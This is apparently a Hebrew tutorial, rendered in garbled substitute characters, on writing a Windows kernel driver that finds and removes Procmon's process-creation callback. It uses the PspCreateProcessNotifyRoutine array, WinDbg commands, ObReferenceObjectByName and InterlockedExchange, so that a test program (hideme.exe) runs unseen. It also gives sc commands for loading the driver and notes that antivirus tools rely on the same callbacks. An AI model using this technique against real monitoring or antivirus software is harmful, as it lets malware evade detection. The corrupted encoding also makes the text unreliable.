˟ ˷ˬ˸˷ˮ ,˭˩ˬ ˶˥˞˪ .˳˶˷-Handle ˢ ˪˷ ˣˬ˷ ˸˞ ˪˞˷˸ˮˣ ˫ˡˣ˵ˬ ˣˮ˪˟˧˵˷-exe  ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟

ZwQueryInformationProcess. :˨˩ ˢ˞˶˧ ˢˤ˪ ˷ˣˬ˧ˬˢ 
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ˢ ˸ˣ˧˴˵ˮˣ˲-DriverEntry sx-DriverUnload :ˢ˩˩ ˣ˞˶˧ ˶˟˧˧˶ˡˢ ˪˷ 

 

ˢ ˸˧˴˵ˮˣ˲ ˸˞ ˶˧ˡˠˮ ˶˟˧˧˶ˡˢ ˸ˮ˧˰˦˟-Unload ˢ ˸˞ ˫ˣ˷˶ˮˣ ˶˟˧˧˶ˡˢ ˪˷-Callback  ˸˩˶˰ˬ˟ ˣˮ˪˷

 ˨˶˰ˢ)FALSE ˢ ˸˞ ˵˥ˬˮ ˶˟˧˧˶ˡˢ ˪˷ ˢ˞˧˴˧˟ .(˧ˮ˷ˢ ˶˦ˬ˶˲˟-Callback .˸ˣ˞˧ˠ˷ ˪˟˵ˮ ˞˪˷ ˧ˡ˩  ˸˰˩

 ˶˴ˣˮ ˨˧˪ˢ˸ ˶˷˞˩˷ ˸ˣ˞˶˪ ˪˩ˣˮˣ ˢˮˣ˩ˬ˪ ˣ˸ˣ˞ ˭ˣ˰˦˪ˣ ˸ˣˮˣ˩ˮˢ ˸ˣ˶ˡˠˢˢ ˫˰ ˶˟˧˧˶ˡˢ ˸˞ ˪˲ˬ˵˪ ˭˸˧ˮ

ˢˤ ˰ˣ˶˧˞ ˪˰ ˢ˞˶˸ˢ ˫˧˪˟˵ˬ ˣˮ˞ ˶ˠ˯ˮˣ ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˸ˣ˥˪˷ˮ˷ ˸ˣ˰ˡˣˢˢ ˸˪˟˵˪) .DbgPrint 

 ˧˪˩˟ ˷ˬ˸˷ˮDbgView  ˪˷Sysinternals  ˫˧˟˴ˬˢ ˸˞ ˪˧˰˲ˮˣCapture Kernel  ˸˞ˣEnable Verbose 

Kernel Output .(  ˥˸˲ˮˣ ˶˟˧˧˶ˡˢ ˸˞ ˭˰˦ˮDbgView :˨˩ ˢ˞˶˸ ˢ˞˴ˣ˸ˢˣ 
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ˢ ˪˷ ˞˪ˬ ˟˧˸ˮ ˯˧˲ˡˬ ˞ˣˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-exe ˢ ˫˞ ˰˧ˡˣˬˣ ˳˶˷ ˪˷ ˢ˪˥˸ˢˢ .˶ˠ˯ˮ ˣ˞ ˶˴ˣˮ ˨˧˪ˢ˸

 ,˟˧˸ˮˢDevice\HarddiskVolume1\ˣ ˢˮˣ˷˞˶ˢ ˢ˴˧˥ˬˢ ˫ˠ ˣ˟ˣ ˵˯˧ˡ ˡ˶˞ˢˢ ˫˴˰˟ ˞ˣˢ ,-C ˞ˣˢ :

SybolicLink  ˧˪˩ˢ ˸ˣ˰˴ˬ˞˟ ˸˞ˤ ˸ˣ˞˶˪ ˭˴˧ˮ .˸˞ˤˢ ˢ˴˧˥ˬ˪WinObj  ˪˷Sysinternals. 

 

 ˨˧˞ ˣˮ˧˞˶ ,˶ˬ˞ˬˢ ˪˷ ˭ˣ˷˞˶ˢ ˣ˵˪˥ ˫ˣ˩˧˯˪Procmon x-AVs  ˫˧˷ˬ˸˷ˬ˰ˬ˟ ˢ˪˰˲ˢˢ ˸˩˶ ˶˦ˮ˪ ˧ˡ˩

 ˫˧˰ˣ˶˧˞ ˸˶˧ˠ˯ˣ ˢ˶˧˴˧˟ ˫˧˶ˣ˷˵ˢ.˫˧˩˧˪ˢ˸  ˶ˣ˟˰ ˫ˠ ˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ˣˮ˧˧ˢ ˶˟ˡˢ ˣ˸ˣ˞ ˸˞Threads  ˫˰

PsSetCreateThreadNotifyRoutine  ˸ˮ˧˰˦ ,˧˶˦˯˧'ˠ˶˟ ˷ˣˬ˧˷ ˶ˣ˟˰ ˫ˠˣImages ˡˣ˰ˣ˨˞ ,  ˞˪ ˫ˢ˧˪˰

.˶ˬ˞ˬ˟ ˦˶˲ˮ 

 ˱˯ˣˮ˟ ,ˣˮ˧˞˶˷ ˢˬ˪ ˢ˧˴˵ˮˣ˲˪ ˸˟˥˶ˣˬ ˢ˧˴˵ˮˣ˲ ˸˵˲˯ˬ ˸˩˶˰ˬˢPsSetCreateProcessNotifyRoutine 

 ˸˞˶˵ˮ˷PsSetCreateProcessNotifyRoutineExˢ ,˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ˷ ˨˩˟ ˢˮˣ˷ ˢ˪˷ ˢ˶ˡˠˢˢ .-

Callback˟˧˥˶ˮ ˞˪ ˣ˧˪˰ ˨˞ ˫˧˶˥˞ ˫˧˶˦ˬ˶˲ ˪˟˵ˬˣ ˢˮˣ˷ ˢ˶ˡˠˢ ˪˰˟ ˫ˠ ˞ˣˢ ,,  ˫˸ˣ˞˷ ˭˧˧˴˪ ˟ˣ˷˥ ˵˶

Callbacks ˫˧˟˥˶ˣˬ .˸ˣ˟˥˶ˣˬˢ ˸ˣ˧˴˵ˮˣ˲˪ ˨˧˧˷˷ ˡ˶˲ˮ ˨˶˰ˬ˪ ˫˧ˬ˷˶ˮ 

 ˞ˣˢ ˫˧˩˧˪ˢ˸ ˧˰ˣ˶˧˞ ˪˰ ˰˴˟ˮ˷ ˭ˣˮ˧˯ˢPoC  ˪˷ ˭ˣˮ˧˯˪Callback  ˭ˣˮ˧˯ˣ ˢ˪˰ˬ˪ ˶˟˯ˣˢ˷ ˣˬ˩ ˪ˮ˶˵ˢ ˪˷

 ˰ˣ˴˧˟ ˧ˡ˧ ˪˰ ˣ˸ˣ˞ ˰˴˟˪ ˭˸˧ˮˣ ˨˷ˬˢ˟ ˶˧˟˯ˮ˷ ˨˧˪ˢ˸˪ ˢˬˣˡ ˨˧˪ˢ˸ ˪˰˟ ˞ˣˢ ˫˧˶˦ˣˮˬˢ ˫˧˰ˣ˶˧˞ˢ ˶˞˷˪

.˨˷ˬˢ˟ ˢ˷˰ˮ˷ ˸ˣ˵˧ˡ˟ ˫˸ˣ˞ 
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˩˸˟˧˸ ˭ˣˮ˧˯ ˪-Procmon 

˪ ˭ˣˮ˧˯ ˟ˣ˸˩˪ ˧ˡ˩-Procmon ˟ ˷ˬ˸˷ˬ˷ ˶˥˞ ˧˪˩ ˪˩˪ ˣ˞) ˣˮ˟˸˩˷-Callback  ˨˶˦˴ˮ (˫˧˩˧˪ˢ˸ ˧˰ˣ˶˧˞˪

 ˸ˡ˟ˣ˰ ˨˧˞ ˪˩˸˯ˮ ˨˩ ˫˷˪ ,ˣ˧˪˞ ˸˷ˠ˪ ˨˧˞ˣ ˞˴ˬˮ ˣˮ˶˟˧ˡ ˣ˧˪˰ ˨˶˰ˬˢ ˢ˲˧˞ ˵ˬˣ˰˪ ˭˧˟ˢ˪ ˫ˡˣ˵

 ˢ˧˴˵ˮˣ˲ˢPsSetCreateProcessNotifyRoutine˸ ˣˮ˪˷ ˸˧˲ˣ˯ˢ ˢ˶˦ˬˢ . ˨˶˰ˬ˪ ˫ˣ˷˶˪ ˢ˧ˢCallback 

ˢ ˫ˣ˵ˬ˟ ˣˮ˪˷-Callback  ˪˷ ˫˧˧˵ˢProcmon  ˫ˣ˵ˬ˟ ˳ˣ˶˸ ˣˮ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˨˧˪ˢ˸ ˪˷ ˰ˣ˶˧˞ ˪˩˟ ˨˩˟ˣ

 ˪˷ ˢ˧˴˵ˮˣ˲ˢProcmon ˶˞˷ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩ ˣ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˶˷˞ ˧˶ˮˠ ˡˣ˵ ˞ˣˢ ˟ˣ˸˩ˮ ˣ˸ˣ˞ ˡˣ˵ˢ .

.˸ˣ˶˦ˮˬˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˶˞˷ ˪˷ ˫˧˩˶˰ˬˢ 

˟ ˷ˬ˸˷ˮ ˶˵˥ˬˢ ˨˪ˢˬ˟-WinDbg  ˭ˣ˶˩˧ˤˢ ˸˞ ˶ˣ˵˥˪ ˧ˡ˩ ˫ˠˣ ˸ˣˡ˟ˣ˰ ˸ˣ˧˴˵ˮˣ˲ˢ ˨˧˞ ˸ˣ˞˶˪ ˧ˡ˩

 ˸˶ˤ˰˟ ˸˞ˤ ˢ˷˰ˮˣ ˸˩˶˰ˬ˟Remote Kernel Debugging  ˠˣ˯ˬ ˫˧˵ˮ˷ ˢˮˣ˩ˬ˪Windows 7 x64  ˫˰

.˶ˬ˞ˬˢ ˱ˣ˯˟ ˨˩˪ ˶ˣ˷˧˵ ˢ˧ˢ˧ ˨˞ ˸˞ˤ˩ ˢ˟˧˟˯ ˫˧˵ˢ˪ ˨˧˞ ˭˞˩ ˶˧˟˯ˮ ˞˪ .˸˩˶˰ˬ˪ ˫˧˪ˣ˟ˬ˧˯ 

ˢ ˪˷ ˨˶˰ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˞˧ˢ ˣˮ˸˶˦ˬ-Callbacks˞ˣˢ ˣˬ˷ ,: PspCreateProcessNotifyRoutine ˭˸˧ˮ ,

 ˸˶ˤ˰˟ ˸˞ˤ ˸ˣ˞˶˪Windbg :ˢˡˣ˵˲ˢ ˫˰ 

x nt!PspCreateProcessNotifyRoutine  

.˨˶˰ˬˢ ˪˷ ˣ˸˟ˣ˸˩ ˸˞ ˸ˣ˞˶˪ ˫ˠ ˨˩ˣ 

˟ ˷ˬ˸˷ˮ ˨˶˰ˬˢ ˭˩ˣ˸ ˸˞ ˸ˣ˞˶˪ ˧ˡ˩:ˢˡˣ˵˲ 

dp PspCreateProcessNotifyRoutine  

ˢ ˸˞ ˸ˣ˞˶˪ ˪˩ˣˮ ˭˞˩ˣ-Callbacks  ˪˷ ˞ˣˢ ˫ˢ˧ˮ˧˟ˬ ˭ˣ˶˥˞ˢˣ ˸˩˶˰ˬ˟ ˫˧ˬˣ˷˶ˢPrcomon ˢˡˣ˵˲ˢ .dp 

 ˪˷ ˶ˣ˴˧˵ ˞˧ˢdisplay pointer .˫˧˰˧˟˴ˬ˩ ˭ˣ˶˩˧ˤ˟ ˫˧˩˶˰ ˫˸ˣ˞˪ ˸˯˥˧˧˸ˬ ˞˧ˢˣ 

 ˨˧˞ ˵ˣˡ˟˪˟ ˪˧˥˸ˮ ˸˰˩PsSetCreateProcessNotifyRoutine  ˷˧ ˢ˲˧˞ ˷˲˥ˮˣ ˢ˷ˣ˰ ˞˧ˢ ˢˬˣ ˸ˡ˟ˣ˰

ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ ˨˩ˣ ˨˶˰ˬ˟ ˷ˣˬ˧˷ˣ˪˷ ˸˟ˣ˸˩: 

 

 ˢ˧˴˵ˮˣ˲˪ ˸˴˲ˣ˵ ˢ˧˴˵ˮˣ˲ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮPspSetCreateProcessNotifyRoutine˟ ˫˧˶˦ˬ˶˲ˢ) .-64  ˦˧˟

˟ ˣˬ˩ ˸˧ˮ˯˥ˬˢ ˨˶ˡ ˞˪ˣ ˫˧˶˦˯˧ˠ˶ˢ ˨˶ˡ ˫˧˶˟ˣ˰-32 .(˦˧˟ 
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ˣ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞˧˴ˣˢ˪ ˪˩ˣˮ˷ ˧ˡ˩ ˨˶˰ˬ˟ ˷ˣˬ˧˷ ˷˧ ˢ˲˧˞ ˷˲˥˪ ˢ˴˶ˮ ˸˰˩: 

 

 ˷˧˷ ˯ˣ˲ˡˢ ˸˞ ˷˲˥˪ ˨˶˦˴ˮ ˣ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞˧˴ˣˢ˪ ˧ˡ˩ ˸˰˩ˣ ˨˶˰ˬ˟ ˷ˣˬ˧˷ ˷˧˷ ˫ˣˡ˞˟ ˸ˣ˞˶˪ ˪˩ˣˮ

 ˪˷ ˫˧ˡˣ˵˲ˣ˞ˢ ˸˞ ˷˲˥ˮ ˶ˬˣ˪˩ ,ˡˣ˵˟lea r14  ˪˷ ˸˟ˣ˸˩ˢ ˢˤ ˧˶˥˞˷ ˢˬ˷ ˰ˡˮ ˤ˞ˣ ˨˶˰ˬˢ ˧ˮ˲˪ ˷˧˷

:˨˩ ˸˞ˤ ˢ˷˰ˮ .˨˶˰ˬˢ 

 

˸˰˩ˬ , ˷˧˷ ˣˮ˪˶˪ ˣ˩ˣ˸˟ ˫˧˞˸ˢ ˪˩ ˪˰ ˶ˣ˟˰˪ ˢ˴˶ˮ ˨˶˰ˬˢ ˸˟ˣ˸˩ ˸˞ˢ ˞˴ˬˮ ˢ˲˧˞ ˸ˣ˞-Callback  ˪˷

Procmon ˟ ˣ˸ˣ˞ ˱˧˪˥ˢ˪ˣ-Callback .ˣˮ˪˷ 

 ˪˩ ˪˰ ˶ˣ˟˰ˮ ˶˷˞˩Callback  ˪˷ ˶˟˧˧˶ˡˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦˟ ˞˴ˬˮ ˞ˣˢ ˫˞ ˵ˣˡ˟ˮProcmon  ˭˩ ˫˞ˣ

ˢ ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˸˟ˣ˸˩ ˸˞ ˪˟˵˪ ˧˞ˡ˩ .ˢ˲˪˥ˢˢ ˸˧˴˵ˮˣ˲˪ ˞˶˵ˮ-Callback  ˰˴˟˪ ˨˶˦˴ˮ& 

0xfffffffffffffff8 ˣ˸˩ˢ ˪˰ˢ˷ ˪˪ˠ˟ ˸˞ˤ ,˨˶˰ˬ˟ ˸˞˴ˬˮˢ ˸˟-Callback :˫˧ˮ˟ˬ ˧ˮ˷ ˸˥˸ ˫˷˶ˮ 
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 :˨˩ ˰˴˟˸˧ ˢ˧˴˶ˬˣˮ˞ˢ ˷ˣˬ˧ˬ 
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˴˵ˮˣ˲˪ ˶ˣ˟˰ˮ ˸˰˩ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ .ˢ˲˪˥ˢˢ ˸˧ ˫ˢˣ ,˫˧˶˦ˬ˶˲ ˧ˮ˷˸˟ˣ˸˩ˢ ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷ 

Procmon ˟-Callback ˨˶˰ˬ˟ PspCreateProcessNotifyRoutine ˧ˮ˷ˢˣ ˞ˣˢ ˸˟ˣ˸˩ˢ ˪˷ ˸˧˧˴˵ˮˣ˲ ˭ˣˮ˧˯ˢ 

ˣˮ˪˷.  ˢ˧˴˵ˮˣ˲ˢ ˸ˣ˰˴ˬ˞˟ ˸˰˴˟˸ˬ ˢ˲˪˥ˢˢInterlockedExchange  ˢ˪ˣ˰˲˩ ˢˬ˷ˢˢ ˸˞ ˸˰˴˟ˬ˷

 ˢ˧ˢ˧˷ ˧˪˟ˬ ˡ˟˰ˬ˟ ˸˰˴˟˸ˬ ˸˧ˬˣ˦˞ˢ ˢ˪ˣ˰˲ˢ) .˭ˣ˶˩ˮ˯ ˪˷ ˢ˧˰˟ ˢ˧ˢ˸ ˞˪˷ ˧ˡ˩ ˸˧ˬˣ˦˞Content 

switches˩ ˣ˸ˣ˞ ˨˶˰ ˣ˸ˣ˞ ˢ˧ˢ˧ ˨˶˰ˢ ˨˩˟ˣ ˭ˣ˶˩ˤ˟ ˸˲˯ˣˮ ˢ˪ˣ˰˲ ˰˴˟˸˸ ˞˪˷ ˧ˡ˩ ˡˣ˰ˣ ˸ˣ˵˧˯˲ , ˣˮ˟˸

.(˭ˢ˷˪˩ ˸ˣ˯˧˶ˡ ˣ˰˴˟˸˧ ˞˪ˣ ˡˣ˵˟ 

 ˪˩ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦ ˪˰ ˢ˵˧ˡ˟ˢCallback ˨˩ ˰˴˟˸˸: 

 ˦˵˧˧˟ˣ˞ˢ ˸˞ ˨˶˦˴ˮ ˶˟˧˧˶ˡ ˪˩ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦ ˪˰ ˶ˣ˟˰˪ ˧ˡ˩ ,˸˧˷˞˶DRIVER_OBJECT  ˪˩ ˠ˴˧˧ˬˢ

 ˞ˣˢ ˭ˣ˷˞˶ˢ .˸˞ˤ ˢ˵˧ˡ˟˪ ˣˮ˶ˣ˟˰ ˫˧˟ˣ˷˥ ˫˧ˮ˸˷ˬ ˧ˮ˷ ˢˤ ˦˵˧˧˟ˣ˞˪ .˸˩˶˰ˬ˟ ˶˟˧˧˶ˡDriverStart  ˶˷˞

 ˞ˣˢ ˧ˮ˷ˢˣ ,˭ˣ˶˩˧ˤ˟ ˶˟˧˧˶ˡˢ ˪˷ ˢ˪˥˸ˢˢ ˸˟ˣ˸˩ ˸˞ ˠ˴˧˧ˬDriverSize  ˶˟˧˧˶ˡˢ ˪˷ ˣ˪ˡˣˠ ˸˞ ˠ˴˧˧ˬ ˶˷˞

 ˢˮˣ˷˞˶ˢ .˸ˣ˧˴˵ˮˣ˲ ˧˸˷ ˟ˣ˸˩ˮ ˢˤ ˰ˣ˴˧˟˪ .˶˟˧˧˶ˡˢ ˪˷ ˭ˣ˶˩˧ˤ˟ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦ ˸˞ ˟˷˥˪ ˪˩ˣˮ ˨˩ˣ

) ˶˟˧˧˶ˡˢ ˪˷ ˦˵˧˧˟ˣ˞˪ ˰˧˟˴ˬˢ ˸˞ ˣˮ˪ ˶˧ˤ˥˸ˣ ˶˟˧˧˶ˡˢ ˫˷ ˸˞ ˸˪˟˵ˬDRIVER˔OBJECT ˸ˣ˰˴ˬ˞˟ (

 ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ObReferenceObjectByName ˪˷ ˦˵˧˧˟ˣ˞˪ ˰˧˟˴ˬˢ ˸˞ ˪˟˵˸ ˢ˧ˮ˷ˢ ˢ˧˴˵ˮˣ˲ˢ .

 ˪˷ ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ˣ ˶˟˧˧˶ˡˢProcmon  ˞˴ˬˮ ˢ˧˴˵ˮˣ˲ˢ ˫˞ˢ ˵ˣˡ˟˸ˣ ˭˩ ˧ˮ˲˪ ˣˮ˞˴ˬ˷

.˶˟˧˧˶ˡˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦˟ 

 

 ˟ˣ˸˩˪ ˶˞˷ˮ ˡˣ˵ˢ ˟ˣ˶ ˸˞ ˣˮ˟˸˩˷ ˧˶˥˞ ,˱ˣ˯˟˪.ˣˮ˪˷ ˭ˣˮ˧˯ˢ ˸˧˧˴˵ˮˣ˲ ˸˞ 

 ˫˞ˢ ˵ˣˡ˟˪ˣ ˨˧˪ˢ˸ ˪˷ ˢ˶˧ˠ˯ ˣ˞ ˸ˣ˶˴ˣˣ˧ˢ ˪˷ ˰ˣ˶˧˞ ˪˩ ˪˰ ˶ˣ˟˰˪ ˞ˣˢ ˶˦˪˧˲ˢ ˸˟˧˸˩˟ ˪˪ˣ˩ˢ ˭ˣ˧˰˶ˢ

 ˣˬ˩ ˢ˴˶ˢˢ ˳˟ˣ˵ ˪˷ ˞˪ˬˢ ˟˧˸ˮˢ ˧˲˪ ˸˰˴˟˸ˬ ˢ˵˧ˡ˟ˢ) ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˞ˣˢ ˶ˠ˯ˮ ˣ˞ ˶˴ˣˮ˷ ˨˧˪ˢ˸ˢ

ˣ˴˰ˮ ˦ˣ˷˲ ˫˧ˢˤ ˸ˣˬ˷ˢ ˧˩ ˞˴ˬˮ˷ ˰ˠ˶˟ .(˭ˣ˷˞˶ˢ ˵˪˥˟ ˣˮ˰˴˧˟˷ ˰˧˶˸˸ ˞˪ ˞˧ˢˣ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˶

ˢ˧˴˵˧˪˲˞˪ s)-Exe  ˪˷Procmon ˟ ˳˶˷-Usermode ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮ ˫˧ˢˤ ˞˪ ˸ˣˬ˷ˢˣ ˢˡ˧ˬ˟ .(
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 ˪˷ ˸˧˶ˣ˵ˬˢProcmon  ˪˷ ˢ˧˴˵˧˪˲˞˟ ˣˮ˪ ˠ˴ˣ˧ˣ ˶ˣ˟˰˧ ˭˩ ˰ˡ˧ˬˢ˷ ˨˩Procmon ˸˧˶ˣ˵ˬˢ ˸˟ˣ˸˩ˢ ˸˞ .

 ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷Procmon ˮ ˨˩ˣ ˢ˲˪˥ˢˢ ˧ˮ˲˪ ˧˪˟ˣ˪ˠ ˢˮ˸˷ˬ˩ ˶ˣˬ˷ˮ ˫˷ .˨˶ˣ˴ˢ ˸˰˟ ˢ˪ ˞ˣ˶˵˪ ˪˩ˣ

-sexe ˩ ˞˪ˬˢ ˟˧˸ˮˢ ˫˷ ˫˰ ˣ˶˵˞ˬ ˸ˡˣ˵˲˩ ˡˣ˵ˢ ˸˪˧˥˸˟ ˶ˡˠˣˬ ˞˧˟˥ˢ˪ ˢ˴˶ˮ ˣ˸ˣ˞-

\Device\Harddisk1\  .ˢ˪˥˸ˢ˟ 

 ˧˸˶˴˧ ˢ˵˧ˡ˟ˢ ˪˧˟˷˟exe ) ˢ˰ˡˣˢ ˭ˣ˪˥ ˳˧˲˵ˬ˷MessageBox ˣ˪ ˧˸˞˶˵ˣ (hideme.exe  ˸˥˸ ˶ˬ˷ˮ ˞ˣˢˣ

:Cˢ˵˧ˡ˟ˢ ˪˧˟˷˟ ˶˧˸˯ˢ˪ ˢ˴˶ˮ ˢˤ ˳˟ˣ˵ ˸˞ .. :˨˩ ˰˴˟˸ˬ ˢ˧˴˵ˮˣ˲ˢ ˷ˣˬ˧ˬ 
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 ˸ˣ˧˴˵ˮˣ˲ˢ ˸˞ ˠ˧˴ˮ ˶˟˧˧˶ˡˢ ˡˣ˵ ˫ˣ˧˯˪DriverEntry x-DriverUnload: 

 ˦˵˧˧˟ˣ˞˪ ˰˧˟˴ˬˢ ˸˞ ˪˟˵ˮ ˣˮ˪˷ ˢ˯˧ˮ˩ˢ ˸˧˧˴˵ˮˣ˲˟DRIVER˔_OBJECT  ˪˷Procmon  ˶˧˟˰ˮ ˣ˸ˣ˞ˣ

ˢ ˪˷ ˢ˵˧ˡ˟˪-Callbacks. 

˶˧ˤ˥ˢ˪ˣ ˣˮ˪˷ ˶˦˪˧˲ˢ ˸˞ ˸ˣ˵ˮ˪ ˢ˴˶ˮ ˣˮ˪˷ ˫ˣ˧˯ˢ ˸˧˧˴˵ˮˣ˲˟  ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˨˶˰ˬ˪Procmon  ˧ˡ˩

 ˫˶ˠ˧ˣ ˸ˣ˞˧ˠ˷ ˣ˰˴˟˸˧ ˞˪˷Blue Screen ˪ ˡˣˠ˧ˮ˟ ,˱˸ˣ˷ˬ ˭ˣ˶˩˧ˤ˟ ˫˧˴˶ ˪ˮ˶˵˟ ˫˧˶˟˧˧˶ˡˢ ˪˩˷ ˪˪ˠ˟)-

Usermode  ˪˩ ˪˷ ˢ˯˧˶˵˪ ˫ˣ˶ˠ˸ ˢ˞˧ˠ˷ ˪˩ ,ˣ˪˷ˬ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ ˷˧ ˨˧˪ˢ˸ ˪˩˪ ˫˷

ˢ ˨˯ˬ˪ ˪˧˟ˣ˧˷ ˸˩˶˰ˬˢ-Blue Screen ˰˴˟˪ ˧ˡ˩ .(˶˩ˣˬˢ  ˸˞ ˶ˣˬ˷˪ ˨˶˦˴ˮ ˢ˶ˤ˥ ˢ˲˪˥ˢˢ ˸˞

˪ ˸˟ˣ˸˩ˢ ˸˞ˣ ˨˶˰ˬ˟ ˧˶ˣ˵ˬˢ ˫ˣ˵˧ˬˢ ˪˷ ˸˟ˣ˸˩ˢ-Callback .˫˧˧˪˟ˣ˪ˠ ˫˧ˮ˸˷ˬ˩ ˨˶˰ˬ˟ ˢ˧ˢ˷ ˧˶ˣ˵ˬˢ 

 ˷ˣˬ˧ˬˢ˪:˨˩ ˢ˞˶˧ ˢ˪˞ ˸ˣ˧˴˵ˮˣ˲ 
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.˳˧˶ˮˣ ˣ˸ˣ˞ ˪˲ˬ˵ˮ ˣˮ˪˷ ˶˟˧˧˶ˡ˪ ˡˣ˵ˢ ˸˞ ˟ˣ˸˩˪ ˣˮˬ˧˧˯˷ ˧˶˥˞ 

ˢ˶˰ˢ:  ˶ˣ˴˧˪ ˷˶ˡˮ ˣ˸ˣ˞ ˪˧˰˲ˢ˪ˣ ˶˟˧˧˶ˡ ˭ˣ˰˦˪ ˧ˡ˩Service  ˫˧˶ˤˣ˰˷ ˫˧˟˶ ˫˧˪˩ ˫ˮ˷˧ .ˣ˸ˣ˞ ˪˧˥˸ˢ˪ˣ

 ˣˬ˩ ˸˞ˤ ˸ˣ˷˰˪OSRLoader ˟ ˷ˬ˸˷ˬ ˧ˮ˞ ˨˞ ˶˩ˣˬˢ-cmd :˸ˣˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ ˸˞ˤ ˸ˣ˷˰˪ ˧˞ˡ˩ 

 ˸˶˧˴˧˪Service: 

sc create <service_name> binPath= <sys_file_path> type= kernel  

 ˸˪˰˲ˢ˪Service: 

sc start <service_name>  

 ˪˷ ˸ˣ˞˷˶ˢ ˫˰ ˳ˣ˶˪ ˨˧˶˴ ˸˞ˤ ˸ˣ˷˰˪ ˧ˡ˩˷ ˭˧˧˴˪ ˟ˣ˷˥admin. 

 ˳˧˶ˮ ˪˩ ˫ˡˣ˵ ˧˪˩ˢ ˪˷ ˢ˵˧ˡ˟˪Procmon ˢ ˪˷ ˨˶˰ˬˢ ˸˞ ˭ˣ˶˩ˤ˟ ˢ˞˶ˮ ˭˩ ˧ˮ˲˪ ˨˞ ˢ˶ˣ˵ ˢˬ ˢ˞˶ˮˣ-

Callbacks  ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˡˣ˰ ˫˷ ˭˧˞˷Procmon ˸˲˯ˣˣ˸ˬ ˞˧ˢ ˨˧˞ ˢ˞˶ˮ ˢ˴˶ˢ ˶˥˞˪ˣ ˢˬˣ˷˶ 

 ˪˷ ˶˟˧˧˶ˡ˪ ˸˩˧˧˷ ˸ˬ˞˟ ˞˧ˢ˷ˣ ˨˶˰ˬ˪Procmon: 

 

 ˪˩ˢ ˨˯ ˪˧˩ˬ ˨˶˰ˬˢ7 Callbacks ) ˫˧ˬˣ˷˶6  ˪˷ ˡ˥˞ˣ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˪˷Windows Defender.(  ˸˰˩

 ˸˞ ˳˧˶ˮProcmon ˨˶˰ˬ˟ ˧ˣˮ˧˷ˢ ˸˞ ˢ˞˶ˮˣ: 

 

 ˪˷ ˸˟ˣ˸˩ˢ ˞˧ˢ ˢ˲˯ˣˣ˸ˢ˷ ˸˟ˣ˸˩ˢProcmon  ˸˶ˤ˰˟ ˸˞ˤ ˵ˣˡ˟ˮWinDbg. 

ˢ˶˰ˢ:  ˪˷ ˸ˣ˟ˣ˸˩ˢ ˭ˢ ˢ˪˞ ˶˟˧˧˶ˡˢ ˸˥˸˷ ˸ˣ˟ˣ˸˩ˢ ˞˪ ˭ˢ ˨˶˰ˬ˟ ˸ˣ˟ˣ˸˩ˢ˷ ˶˧˩ˤˢ˪ ˟ˣ˷˥

ˢ ˪˷ ˦˵˧˧˟ˣ˞ˢ-Callback  ˰˴˟˪ ˨˧˶˴ ˸˧˶ˣ˵ˬˢ ˸˟ˣ˸˩ˢ ˸˞ ˪˟˵˪ ˧ˡ˩ˣAND 0xFFFFFFFFFFFFFFF8  ˪˰

ˢ ˪˷ ˸˟ˣ˸˩ˢ-Callback ˭˩˪ ˫ˡˣ˵ ˶˟˯ˣˢ˷ ˣˬ˩: 

 

 ˸ˬ˞˟˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˶˧˸˯ˢ˪ ˢ˴˶ˮ ˣ˸ˣ˞ ˳˟ˣ˵ˢ ˪˷ ˢ˴˶ˢ ˸˰˟Procmon ˨˩ ˪˰ ˰˧ˡˣˬˣ ˣ˸ˣ˞ ˢˢˤˬ: 
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 ˸˞ ˷ˡ˥ˬ ˳˧˶ˮ ˶˟˧˧˶ˡˢ ˸ˮ˧˰˦ ˶˥˞˪Procmon  ˶˴ˣˮˣ ˳˶ ˳˟ˣ˵ˢ˷ ˸ˬ˞˟ ˢ˞˶ˮˣ ˶˧˸˯ˮ ˣ˸ˣ˞ ˳˟ˣ˵ˢ ˸˞ˣ

 ˨˞ ˨˧˪ˢ˸Procmon .˨˩ ˪˰ ˰˧ˡˣˢ ˞˪ 
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˫ˣ˩˧˯ 

 ˢˤ ˶ˬ˞ˬ˟ ˣˮˡˬ˪ ˣˬ˩ ˧˪˩ ˨˧˞Procmon  ˢˤ˩ ˧˪˩ ˣˮ˟˸˩ˣ ˸˩˶˰ˬ˟ ˫˧˩˧˪ˢ˸ˢ ˸˶˧ˠ˯ˣ ˸˶˧˴˧ ˸˞ ˶˦ˮˬ

